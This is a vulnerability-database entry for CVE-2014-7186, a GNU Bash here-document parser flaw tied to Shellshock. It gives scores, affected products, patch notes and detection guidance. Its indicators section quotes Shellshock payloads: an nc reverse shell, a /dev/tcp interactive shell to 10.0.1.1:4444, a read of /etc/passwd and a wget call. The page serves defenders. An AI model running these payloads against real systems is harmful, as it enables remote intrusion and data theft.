cbcvebase.
CVE-2014-7186
published 2014-09-28

CVE-2014-7186: The redirection implementation in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access…

PriorityP273critical10CVSS 2.0
AVNACLAuNCCICAC
ITWEXPLOITVulnCheck KEV
Exploited in the wild
EPSS
64.34%
99.1th percentile
The redirection implementation in parse.y in GNU Bash through 4.3 bash43-026 allows remote attackers to cause a denial of service (out-of-bounds array access and application crash) or possibly have unspecified other impact via crafted use of here documents, aka the "redir_stack" issue.

Affected

50 ranges· showing 25
VendorProductVersion rangeFixed in
appleos_x_el_capitan_v10.11
appleos_x_yosemite_v10.10.2_and_security_update_2015-001
citrixcitrix_netscaler_adc
citrixcitrix_netscaler_sdx
citrixcitrix_xenapp
citrixcitrix_xendesktop
citrixcitrix_xenmobile
citrixcitrix_xenserver
citrixnetscaler_adc
citrixnetscaler_gateway
citrixnetscaler_sdx
citrixsharefile
citrixxenapp
citrixxendesktop
citrixxenmobile
citrixxenserver
debianbash< bash 4.3-9.2 (bookworm)bash 4.3-9.2 (bookworm)
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash
gnubash

Detection & IOCsextracted from sources · hover to see the quote

command() { ignored;}; echo 'moo'
command() { ignored;}; /bin/nc -e /bin/bash localhost 7777
command() { ignored;}; /bin/bash -i >& /dev/tcp/10.0.1.1/4444 0>&1 &
command() { ignored;}; /bin/cat /etc/passwd
command() { ignored;}; /usr/bin/wget http://google.com
  • Shellshock payloads are injected via DHCP option fields (e.g. dump_path) — monitor DHCP traffic for environment variable function patterns '() {' in option values
  • The exploit spoofs a rogue DHCP server responding to Discover and Request packets; detect unexpected DHCP Offer/ACK packets from non-authoritative MAC addresses on the network
  • CVE-2014-7186 exploits crafted use of here documents to overflow the fixed-sized redir_stack in the Bash parser — look for deeply nested or repeated here-document redirections in shell input
  • The Bash shell may be invoked by telnet, SSH, DHCP, and web server scripts — monitor all these vectors for Shellshock-style '() {' function definition patterns in environment variables
  • The fixed-sized redir_stack can be forced to overflow in the Bash parser, resulting in memory corruption — crash/segfault of bash processes handling untrusted input may indicate exploitation attempts
  • ·The exploit targets DHCP clients (dhclient 4.1) specifically; exploitation via DHCP requires the attacker to be positioned as a rogue DHCP server on the same network segment or able to respond before the legitimate server
  • ·All versions of GNU Bash starting with version 1.14 are affected; in most cases involving Cisco products, authentication is required before exploitation could be attempted
  • ·Debian fixed this in bash 4.3-9.2 across all supported releases; Red Hat patched via RHSA-2014:1306, RHSA-2014:1311, and RHSA-2014:1312 — note the CVE was assigned after those updates were released so errata descriptions may not mention it

CVSS provenance

nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv10.0CRITICAL
vulncheck10.0CRITICAL
cisa8.8HIGH
vendor_debian10.0CRITICAL
vendor_redhat10.0CRITICAL
vendor_ubuntu10.0CRITICAL
vendor_cisco7.5HIGH
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